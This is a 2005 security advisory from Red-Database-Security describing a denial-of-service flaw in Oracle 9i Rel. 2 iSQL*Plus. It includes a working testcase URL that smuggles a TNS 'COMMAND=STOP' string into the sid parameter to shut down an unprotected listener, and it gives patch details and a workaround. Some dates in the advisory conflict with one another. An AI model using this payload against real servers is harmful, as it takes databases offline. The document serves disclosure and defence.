Red-Database-Security GmbH is specialized in Oracle Security

Products
Repscan 2.5
Hedgehog Enterprise
Checkpwd (free)

Services
Oracle Audit / Hardening
Security Training
Consulting

Information
Oracle Security Blog
Published Alerts
Upcoming Alerts
Patch Information
Whitepaper
Presentations
Oracle Fact Sheets
Exploits
Tutorials
Videos
Scripts

News & Events
Events
News

Company
Contact
People
Partner
Impressum
Sitemap

Shutdown TNS Listener via Oracle iSQL*Plus

Name	Shutdown TNS Listener via Oracle iSQL*Plus
Systems Affected	Oracle Database 9i Rel. 2
Severity	Medium Risk
Category	Denial of Service
Vendor URL	http://www.oracle.com/
Author	Alexander Kornbrust (ak at red-database-security.com)
Date	7 October 2005 (V 1.00)

Details
Oracle iSQL*Plus is a web interface to SQL*Plus. The web interface can be used to stop the (unprotected) TNS Listener.

Affected Products
Oracle Database 9i Release 2

Patch Information
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005).
Oracle forgot to inform Red-Database-Security that this bug is fixed with CPU July 2005.

Workaround
Protect the TNS Listener with a password.

Testcase
http://server:3339/isqlplus?username=s&password=s&
sid=%28DESCRIPTION%3D%28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29%28PORT%3D1521%29%29%29%28
CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon

==> ERROR:

ORA-12564: TNS:connection refused

Excerpt from the listener.log:

28-OCT-2003 15:14:39 * (CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(USER=Hacker)
(CID=(PROGRAM=c:\oracle\ora92\bin\isqlplus)(HOST=LOCALHOST)(USER=SYSTEM))) * stop * 0

History
14-feb-2005 Oracle secalert was informed
15-feb-2003 Bug confirmed
18-oct-2005 Oracle published the Critical Patch Update October 2005 (CPU October 2005)
20-oct-2005 Red-Database-Security published this advisory

Oracle iSQL*Plus

iSQL*Plus is a browser-based interface to SQL*Plus.

iSQL*Plus is shipped with the Oracle10g Database Server.